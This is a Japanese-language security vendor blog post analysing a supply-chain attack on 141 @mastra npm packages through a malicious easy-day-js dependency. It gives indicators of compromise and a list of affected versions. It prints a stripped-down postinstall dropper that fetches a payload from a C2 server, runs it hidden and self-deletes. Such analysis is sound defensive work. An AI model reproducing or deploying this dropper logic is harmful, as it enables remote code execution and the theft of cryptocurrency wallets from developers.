Aikido

140を超える人気のあるMastraのnpmパッケージがサプライチェーン攻撃の被害に遭う

執筆者
Ilyas Makari

6月17日、当社は、全体を標的とした大規模なサプライチェーン攻撃を検知しました。 @mastra 人気のあるオープンソースのAIエージェントフレームワーク「npm scope」。攻撃者はUTC時間01:15から02:00にかけて短期間に141個のパッケージを再公開し、そのすべてに悪意のある依存関係を密かに組み込みました。影響を受けたパッケージには以下が含まれます。 @mastra/core、これはnpmでの週間ダウンロード数が918Kあり、さらに mastra そして create-mastra.

インストール後のスクリプト

141個のパッケージすべてに、1つの新しい依存関係が追加されました。 package.json: easy-day-js、人気のある日付ライブラリの悪意のあるクローン dayjs. このパッケージは、スコープ乗っ取りの1日前に、別の攻撃者が管理するアカウントによって公開されていた。重要な点として、最初のリリース(1.11.21)は完全にクリーンで、 dayjs インストール時のフックは一切含まれていませんでした。悪意のあるバージョン(1.11.22)は、その翌日に、ちょうど @mastra パッケージが再公開されました。侵害されたパッケージは、以下のパッケージに依存しています。 ^1.11.21…しかし、npmのキャレット解決機能により、悪意のあるバージョン1.11.22が自動的に最新バージョンとして取り込まれてしまう一方で、固定されたバージョンを監査しても不審な点は見つからない。

バージョン 1.11.22 では、 postinstall 実行されるフック setup.cjs、ユーザーの操作を一切必要とせず、インストール時に自動的に実行される難読化されたスクリプト。

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

このスクリプトの動作を順を追って説明します:

  • C2サーバーから第2段階のペイロードを取得します。 23[.]254[.]164[.]92:8000
  • ペイロードを、ランダムに命名された .js OSの一時ディレクトリにあるファイル
  • ペイロードを、完全に分離されたバックグラウンドプロセスとして起動し、すべてのプラットフォームで非表示にします(stdio: ignore, windowsHide: true)、2台目のC2ホストを通過し 23[.]254[.]164[.]123:443 引数として
  • インストール後のフックに関するフォレンジック証拠を削除するための自動削除機能

第2段階は、システム情報を収集する長期稼働型のバックグラウンドプロセスとして実行され、MetaMask、Keplr、Coinbaseなど、160種類以上のブラウザベースの暗号資産ウォレット拡張機能を標的としています。このプロセスは、macOS、Windows、Linux上でノード関連のツールに偽装することでシステム内に潜伏し、これらすべてが 23[.]254[.]164[.]123:443.

axiosのセキュリティ侵害との類似点

ここでの手順は、 axiosのセキュリティ侵害 2026年3月に取り上げたものです。どちらの攻撃でも、攻撃者はターゲットとなるパッケージのコード自体には手を触れず、代わりにnpmの postinstall インストール時にペイロードを自動的に実行するためのフック。どちらも、まず無害なおとりバージョンを展開し、その後に悪意のあるバージョンを展開した。axios攻撃では、 plain-crypto-js …という役割を果たした easy-day-js ここで実行されます。また、両方のドロッパーは、実行後に自動的に削除され、フォレンジック上の証拠を消去します。

インフラストラクチャも同様のパターンに従っています。axiosドロッパーは、ポート8000でHostwindsのVPSにコールバックを行っていました。その easy-day-js dropperも同様に動作し、 23[.]254[.]164[.]92:8000 Hostwindsのインフラ上で。

方法 Aikido これを検知する

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。

チーム全体をより広くカバーするには、 Aikidoの「デバイス保護」機能は、チームメンバーのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係まで、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。

将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。

侵害の痕跡

ネットワーク指標

23[.]254[.]164[.]92:8000 — 第1段C2、ペイロードのデータダウンロード
23[.]254[.]164[.]123:443 — 第2段階のコールバックホスト。生成されたRATに渡される

影響を受けるパッケージ

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

共有:

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

マルウェアの検査

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。